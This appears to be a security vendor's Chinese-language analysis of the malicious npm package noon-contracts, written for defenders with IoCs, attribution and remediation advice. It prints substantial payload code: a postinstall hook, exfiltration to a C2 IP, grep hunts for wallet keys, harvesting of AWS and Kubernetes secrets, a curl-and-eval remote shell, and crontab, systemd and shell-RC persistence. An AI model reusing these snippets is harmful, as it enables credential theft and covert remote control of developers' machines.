目录
概述
noon-contracts 是一个恶意 npm 包,于 2026 年 5 月 10 日由一次性账户发布。它伪装成 Noon Protocol 智能合约 SDK,包含真实的合约地址和 TypeScript 声明。安装时会执行一个静默的 postinstall 钩子,用于窃取 SSH 密钥、加密钱包私钥(针对 DEPLOYER_WALLET_PRIVATE_KEY、MNEMONIC、SEED_PHRASE)、AWS 凭证及实时服务枚举、Kubernetes 密钥、所有 .env 文件、shell 历史记录、Docker/Git/npm 令牌以及浏览器钱包存储路径。一个基于 eval 的全功能远程 shell 每 45 秒轮询一次 C2。三重持久化机制在重启后仍可存活,通过 crontab、macOS LaunchAgent、Linux systemd 和 shell RC 注入实现。代码中的韩语注释引用了迭代开发的"血泪教训"记录。
影响范围:
- 所有 SSH 密钥被窃取(整个
~/.ssh目录,不仅仅是id_rsa) - 加密钱包私钥被定向窃取:通过递归 grep 在主目录中搜索
DEPLOYER_WALLET_PRIVATE_KEY、MNEMONIC、SEED_PHRASE - 所有
.env文件被收集(深度搜索至 6 层,包括.env.keys和DOTENV_KEY) - AWS 凭证被盗,并进行实时 STS、S3、Lambda 和 SecretsManager 枚举;SSO/CLI 缓存被收割以绕过 MFA
- 所有命名空间中的 Kubernetes 密钥被转储(
kubectl get secrets -A -o json) - Git 凭证、GitHub/GitLab 令牌、npm/yarn 认证令牌被窃取
- Docker 配置和运行中容器的环境变量被收割
- Vercel、Netlify、Cloudflare 部署令牌以及 Vault/1Password 状态被检查
- Hardhat 和 Foundry 配置被收集(针对 DeFi 的定向收集)
- 基于
eval的全功能远程 shell,45 秒轮询间隔 - 三重持久化:crontab、操作系统服务(LaunchAgent/systemd)、shell RC 文件
妥协指标(IoC):
| 指标 | 值 |
|---|---|
| 包名 | noon-contracts v1.0.0 |
| npm 维护者 | noondeved94ed([email protected]) |
| C2 IP | 82.221.101.203 端口 8443(FlokiNET ehf,AS50613,冰岛雷克雅未克) |
| ntfy.sh 警报主题 | noon-nc7x4q |
| ntfy.sh 认证令牌 | tk_d8zm1wdv4qd8g7r02gb7giyy6ocme |
| macOS 持久化 | ~/Library/LaunchAgents/com.apple.neon-runtime.plist |
| macOS 持久化脚本 | ~/.local/share/neon-cache/neon-runtime.sh |
| Linux 持久化 | ~/.config/systemd/user/node-addon-api.service |
| Linux 持久化脚本 | ~/.cache/node-addon-api/node-addon-api.sh |
| Crontab 条目 | */10 * * * * pgrep -f node-addon-api ...(或在 macOS 上为 neon-runtime) |
| Shell RC 标记 | # node addon cache(附加到 .bashrc、.zshrc、.bash_profile、.profile) |
| 包 SHA256 | 263df2348f54f1f4980542a41f69d77b085fb28091a95979ba7f0e9f3d0da861 |
| 声称的仓库 | github.com/noon-protocol/noon-contracts(不存在,返回 404) |
分析
包概述
noon-contracts 于 2026 年 5 月 10 日以单一版本(1.0.0)出现在 npm 上。维护者账户 noondeved94ed 使用一次性邮箱([email protected]),且未发布过其他任何包。这是为了此次攻击专门创建的一次性账户。
package.json 指向 github.com/noon-protocol/noon-contracts,该仓库返回 404。README 包含使用示例、链支持表和合约描述。lib/index.js 导出以太坊合约地址以及跨以太坊、Sophon 和 zkSync Era 的 USN、sUSN、NOON 和 sNOON 的 ERC-4626 保险库 ABI。lib/index.d.ts 中的 TypeScript 声明进一步伪装成合法包。足够多的 DeFi 特定细节来欺骗扫描依赖项的区块链开发者。
ethers 依赖项(v6.13.0)不会被有效载荷使用。它仅用于使包看起来真实。
执行触发器
postinstall 钩子位于 package.json 中,以静默方式运行有效载荷:
"scripts": {
"postinstall": "node scripts/setup.js 2>/dev/null || true"
}2>/dev/null || true 吞掉了所有错误,使安装过程永远不会出现可见的失败。有效载荷在执行前添加 1 到 4 秒的随机延迟,避免与 npm 的安装输出重叠:
setTimeout(
function () {
// ... malicious payload ...
},
Math.floor(Math.random() * 3000) + 1000
);没有 CI 检测门控。与在 CI 环境中跳过执行的恶意软件家族不同,这个包在任何环境下都会运行。
恶意有效载荷:第 1 阶段(数据窃取)
两个传输通道:一个用于被盗数据的 HTTP C2 服务器,以及一个用于轻量级警报通知的 ntfy.sh(仅标题,不含数据)。
var T = 'noon-nc7x4q'; // ntfy topic
var NK = 'tk_d8zm1wdv4qd8g7r02gb7giyy6ocme'; // ntfy auth
var C2H = '82.221.101.203';
var C2P = 8443;
// ntfy = ALERT ONLY (title only, NO data!)
function nt(t) {
try {
var r = h.request({
hostname: 'ntfy.sh',
path: '/' + T,
method: 'POST',
headers: { Title: N + '_' + U + '_' + t, Priority: '5', Tags: 'rotating_light', Authorization: 'Bearer ' + NK },
timeout: 8000,
});
r.on('error', function () {});
r.write('hit');
r.end();
} catch (e) {}
}
// c2 = ALL DATA to VPS (no data via ntfy!)
function c2(l, d) {
try {
var j = JSON.stringify({ l: l, h: N, u: U, d: d, t: Date.now() });
var r = q.request({
hostname: C2H,
port: C2P,
path: '/t',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(j),
'User-Agent': 'npm/10.8.2 node/v20.18.0',
},
timeout: 12000,
});
r.on('error', function () {});
r.write(j);
r.end();
} catch (e) {}
}User-Agent 伪装成 npm/10.8.2 node/v20.18.0 以融入合法 npm 流量。每个 C2 有效载荷携带标签(l)、主机名(h)、用户名(u)、数据(d)和时间戳(t)。
十二个收集阶段针对特定凭证类型:
1. SSH 密钥(整个目录)
var ssh = rd(p.join(H, '.ssh'));
if (Object.keys(ssh).length > 0) {
c2('ssh', ssh);
nt('ssh', Object.keys(ssh).join(','));
}rd() 读取 ~/.ssh 下所有不超过 500KB 的文件:所有密钥类型、authorized_keys、known_hosts、SSH 配置。注释"Blood Lesson #2: readdirSync, NEVER hardcode names!"表明攻击者在之前的攻击活动中因仅针对 id_rsa 而丢失了数据。
2. 环境文件(深度搜索,针对 DeFi)
// Deep search (Noon/DCLF specific!)
var ef = x(
'find ' +
H +
' -maxdepth 6 \\( -name ".env" -o -name ".env.*" -o -name ".env.keys" \\) ' +
'-not -path "*/node_modules/*" -not -path "*/.cache/*" -type f 2>/dev/null | head -50',
20000
);
// Noon-specific: DEPLOYER_WALLET_PRIVATE_KEY search
var pk = x(
'grep -rn "DEPLOYER_WALLET_PRIVATE_KEY\\|PRIVATE_KEY\\|MNEMONIC\\|SEED_PHRASE" ' +
H +
' --include="*.env*" --include="*.txt" --include="*.json" --include="*.yaml" ' +
'--include="*.yml" --include="*.toml" 2>/dev/null | head -30',
15000
);针对 DeFi 的定向收集是明确的。DEPLOYER_WALLET_PRIVATE_KEY、MNEMONIC 和 SEED_PHRASE 是 DeFi 开发者在 Hardhat/Foundry 部署脚本中设置的确切环境变量。代码还从 process.env 中捕获 DOTENV_KEY,这将解密加密的 .env.vault 文件。
3. AWS 凭证(附带实时服务枚举)
aws.creds = r(p.join(H, '.aws', 'credentials'));
aws.config = r(p.join(H, '.aws', 'config'));
// Blood Lesson #6: cli/cache + sso/cache for MFA bypass!
var ac = p.join(H, '.aws', 'cli', 'cache');
ls(ac).forEach(function (a) {
var v = r(p.join(ac, a));
if (v) aws['cli_' + a] = v;
});
var as = p.join(H, '.aws', 'sso', 'cache');
ls(as).forEach(function (a) {
var v = r(p.join(as, a));
if (v) aws['sso_' + a] = v;
});
aws.sts = x('aws sts get-caller-identity 2>&1', 10000);
aws.s3 = x('aws s3 ls 2>&1 | head -30', 10000);
aws.lambda = x('aws lambda list-functions --query "Functions[].FunctionName" --output text 2>&1', 10000);
aws.secrets = x('aws secretsmanager list-secrets --query "SecretList[].Name" --output text 2>&1', 10000);"Blood Lesson #6"标志着之前的失败。静态凭证文件通常不够用,因为受 MFA 保护的 AWS 账户会在 ~/.aws/cli/cache 和 ~/.aws/sso/cache 中缓存临时令牌。收割这些缓存让攻击者能够使用未过期的会话令牌绕过 MFA。实时 aws CLI 调用(STS、S3、Lambda、SecretsManager)更进一步:如果机器有活动的 AWS 会话,攻击者可以立即进行基础设施枚举。
4. Kubernetes 密钥
// Blood Lesson #3: IMMEDIATELY in postinstall!
var ks = x('kubectl get secrets -A -o json 2>/dev/null', 30000);
if (ks) {
c2('k8s', ks);
nt('k8s', 'secrets_' + ks.length + 'b');
}
var kc = r(p.join(H, '.kube', 'config'));kubectl get secrets -A -o json 的 30 秒超时表明攻击者期望存在活动的 Kubernetes 上下文,很可能是连接到生产集群的 CI/CD 运行器或工作站。"IMMEDIATELY in postinstall!"表明之前的版本延迟了这个调用而错过了时机。
5-12. 额外收集
其余阶段收集:Git 凭证和令牌(ghp_、gho_、ghs_、github_pat_、glpat- 模式)、Docker 配置和运行中容器环境变量、npm/yarn 认证令牌、Vercel/Netlify/Cloudflare 部署令牌、Hardhat/Foundry 配置、shell 历史记录和 RC 文件、完整的 process.env、Vault 令牌和 1Password 状态,以及浏览器钱包存储路径(macOS 和 Linux 上的 Chrome 和 Brave LevelDB)。
恶意有效载荷:第 2 阶段(持久化和远程 Shell)
持久化首先将 bash 脚本写入特定平台的隐藏目录:
var hd =
P === 'darwin'
? p.join(H, '.local', 'share', 'neon-cache') // macOS: 정상 이름
: p.join(H, '.cache', 'node-addon-api'); // Linux: 정상 이름
var sn = P === 'darwin' ? 'neon-runtime' : 'node-addon-api';韩语注释(정상 이름,意为"正常名称")确认这些名称是为了融入合法的 Node.js 基础设施而选择的。node-addon-api 是一个真实的 npm 包(每周下载量 2000 万+)。neon-runtime 可能被当作 Neon 绑定缓存目录。
持久化脚本实现了完整的远程 shell:
# Generated persistence script (reconstructed)
#!/bin/bash
exec >/dev/null 2>&1
HN=$(hostname)
US=$(whoami)
while true; do
# Heartbeat via ntfy
curl -sf -X POST -H "Title: ${HN}_hb" \
-H "Authorization: Bearer tk_d8zm1wdv4qd8g7r02gb7giyy6ocme" \
-d "alive" https://ntfy.sh/noon-nc7x4q &>/dev/null
# C2 command poll
CMD=$(curl -sf "http://82.221.101.203:8443/q?h=${HN}" 2>/dev/null)
if [ -n "$CMD" ] && [ "$CMD" != "noop" ] && [ "$CMD" != "null" ]; then
# Execute and return output
eval "$CMD" 2>&1 | curl -sf -X POST -d @- \
"http://82.221.101.203:8443/r?h=${HN}" &>/dev/null
# Confirm execution via ntfy
curl -sf -X POST -H "Title: ${HN}_cmd_done" \
-H "Authorization: Bearer tk_d8zm1wdv4qd8g7r02gb7giyy6ocme" \
-d "ok" https://ntfy.sh/noon-nc7x4q &>/dev/null
fi
sleep 45
done每 45 秒轮询 hxxp://82[.]221[.]101[.]203:8443/q?h=<hostname>(注释为"比 30 秒更不可疑"),eval 返回的命令,POST 输出回 /r?h=<hostname>。noop/null 检查防止执行空响应。"Blood Lesson #10: noop protection"和"#11: per-host queue"指向 C2 服务器上每个受害者的命令队列。"#13: self-reporting"描述了 eval 输出直接返回 C2 的模式:即发即忘。
脚本作为脱离父 Node.js 进程的独立子进程启动:
// Blood Lesson #8: spawn detached + unref (NOT setInterval!)
var ch = c.spawn('bash', [sf], { detached: true, stdio: 'ignore', env: Object.assign({}, process.env, { HOME: H }) });
ch.unref();三重持久化
三个独立的持久化机制,注释为"Blood Lesson #4: SAME postinstall, v1 = FINAL":
1. Crontab(被描述为"最稳定的"):
x(
'(crontab -l 2>/dev/null | grep -v "' +
sn +
'"; echo "*/10 * * * * pgrep -f ' +
sn +
' >/dev/null || bash ' +
sf +
' &") | crontab - 2>/dev/null'
);每 10 分钟检查持久化脚本是否在运行,如果没有则重启。grep -v 在添加前移除任何之前的条目以避免重复。
2. macOS LaunchAgent / Linux systemd:
在 macOS 上,位于 ~/Library/LaunchAgents/com.apple.neon-runtime.plist 的 LaunchAgent plist 具有 RunAtLoad 和 KeepAlive,伪装成 Apple 系统服务。在 Linux 上,具有 Restart=on-failure 和 loginctl enable-linger 的 systemd 用户服务在启动时运行,无需登录会话。
3. Shell RC 注入:
// Blood Lesson #7 (reboot insurance)
var rcs = ['.bashrc', '.zshrc', '.bash_profile', '.profile'];
var mk = '# node addon cache';
rcs.forEach(function (rc) {
try {
var rp = p.join(H, rc),
cur = r(rp) || '';
if (cur && cur.indexOf(mk) === -1 && f.existsSync(rp))
f.appendFileSync(
rp,
'\n' + mk + '\n(pgrep -f "' + sn + '" >/dev/null 2>&1 || nohup bash ' + sf + ' &>/dev/null &)\n'
);
} catch (e) {}
});# node addon cache 标记可承受随意检查。existsSync 检查避免创建原本不存在的 shell RC 文件,那样会更引人注意。
攻击者基础设施
C2 服务器:82[.]221[.]101[.]203 端口 8443,托管在 FlokiNET ehf(AS50613),这是冰岛雷克雅未克的一家注重隐私的提供商。FlokiNET 接受匿名加密货币支付,无需身份验证。RIAA 将其列为"防弹"托管的典型例子。端口 8443(常见的 HTTPS 替代端口)比任意高位端口更容易绕过出站防火墙规则。最近的 EVM/DeFi 误植攻击活动(viem-core、hardhat-core-utils、foundry-utils)也使用端口 8443 作为 C2,表明加密货币定向 npm 恶意软件运营商之间共享工具约定的趋势。
ntfy.sh:轻量级通知侧带,这是之前 npm 恶意软件活动中未记录的技术策略。已知的恶意软件家族使用 Telegram 机器人、Webhook 网站或原始 TCP。主题 noon-nc7x4q 仅接收警报标题(主机名、用户名、标签),不接收被盗数据。攻击者在受害者触发有效载荷时获得实时电话通知;数据仅流向 VPS。认证的承载令牌(tk_d8zm1wdv4qd8g7r02gb7giyy6ocme)指向付费或注册的 ntfy.sh 账户,而非匿名主题。
User-Agent 伪装:C2 请求使用 npm/10.8.2 node/v20.18.0 以融入网络监控中的合法 npm 流量。
归因与活动关联
代码中包含韩语注释:
정상 이름("正常名称")用于持久化目录命名가장 안정적!("最稳定的!")用于 crontab 持久化재부팅 후 보험("重启保险")用于 shell RC 注入30초보다 덜 의심("比 30 秒更不可疑")用于 45 秒轮询间隔
"Blood Lesson"注释(#1 到 #13)记录了之前活动中的具体失败。攻击者跨多个迭代完善了他们的战术,记录了什么出了问题。"v1 = FINAL"表明这个版本将所有经验教训整合到一个有效载荷中,而不是通过发布的版本进行迭代。公开威胁情报中没有关于"Blood Lesson"模式的参考。
朝鲜/ Lazarus 重叠分析。 TTPs 与已记录的朝鲜链接 npm 供应链攻击活动重叠:
| TTP | noon-contracts | 已知的朝鲜攻击活动 |
|---|---|---|
| DeFi 协议 SDK 伪装 | Noon Protocol | Flashbots SDK、Polymarket(redeem-onchain-sdk、sleek-pretty)、dYdX |
postinstall + eval 远程 shell | 是 | EtherRAT(Contagious Interview)、Lazarus npm 活动 |
| 三重跨平台持久化 | crontab + LaunchAgent + systemd + shell RC | EtherRAT(5 种机制)、js-logger-pack(3 个平台) |
DEPLOYER_WALLET_PRIVATE_KEY 定向 | 在主目录中 grep | EVM/DeFi 误植攻击活动(2026 年 5 月) |
| 韩语代码注释 | 是 | 多个归因于朝鲜的攻击活动 |
| 一次性 npm 账户,单一版本 | noondeved94ed | 标准朝鲜操作模式 |
| 端口 8443 C2 | 是 | EVM/DeFi 误植攻击活动 |
有几个指标与典型朝鲜基础设施不同。朝鲜攻击活动使用 Hetzner、AWS、Vercel 或基于区块链的 C2(EtherRAT),而非冰岛防弹托管。ntfy.sh 侧带在朝鲜操作中未记录,它们更喜欢 Telegram 机器人。"Blood Lesson"模式在任何归因攻击活动中都没有先例。
评估:操作 TTPs 与已记录的朝鲜/ Lazarus npm 供应链战术一致。基础设施差异可能表明具有不同基础设施偏好的新朝鲜子集群,或采用朝鲜风格 TTP 进行 DeFi 定向的独立攻击者。
针对 DeFi 的定向攻击
针对 DeFi 开发者和部署者的集中攻击活动:
- 包名称和元数据 伪装成真实的 DeFi 稳定币项目 Noon Protocol(USN/sUSN)
- 代码中的合约地址 引用跨多条链的真实以太坊地址(以太坊、Sophon、zkSync Era)
- 关键词定向:grep
DEPLOYER_WALLET_PRIVATE_KEY、MNEMONIC、SEED_PHRASE针对 Hardhat/Foundry 部署工作流中使用的确切变量 - Hardhat/Foundry 配置收集 具体搜索
hardhat.config.*和foundry.toml - 浏览器钱包路径 检查 Chrome 和 Brave LevelDB 存储,目标是 MetaMask 和类似的浏览器扩展
攻击者了解 DeFi 部署工作流。开发者将钱包私钥存储在 .env 文件中,通过 Hardhat/Foundry 脚本部署合约,通常在其开发机器上保留热钱包。受损的部署者密钥可以耗尽协议资金库、升级代理合约或铸造代币。
npm 上的 DeFi 协议 SDK 伪装正在加速。最近的攻击活动:Flashbots SDK 伪装(ethers-provide-bundle、flashbot-sdk-eth)、Polymarket 定向(redeem-onchain-sdk、sleek-pretty)、dYdX @dydxprotocol/v4-client-js 劫持,以及 EVM/DeFi 误植攻击浪潮(viem-core、hardhat-core-utils、foundry-utils)。协议 SDK 是高价值伪装目标,因为安装它们的开发者往往在同一台机器上拥有部署密钥和云基础设施访问权限。
结论
noon-contracts 是一个专为 DeFi 供应链打造的远程访问木马(RAT)。"血泪教训"迭代笔记、三重持久化、绕过 MFA 的 AWS 缓存盗窃以及针对 DeFi 的凭证定向使其与普通 npm 恶意软件区别开来。与已记录的朝鲜/ Lazarus npm 攻击活动的 TTP 重叠将此包置于针对 DeFi 的国家级供应链攻击浪潮中,尽管最终归因仍未确定。
如果您安装了这个包:请审计上述持久化指标,轮换所有暴露的凭证,并在任何受影响的机器上撤销 AWS 会话。
SafeDep 的 malysis 已标记此包。vet 可以扫描您的依赖项以查找已知恶意包。
- 恶意软件
- npm
- 供应链
- 远程访问木马
- 凭证盗窃
- DeFi
SafeDep 博客最新更新
关注以获取开源安全与工程领域的最新更新和见解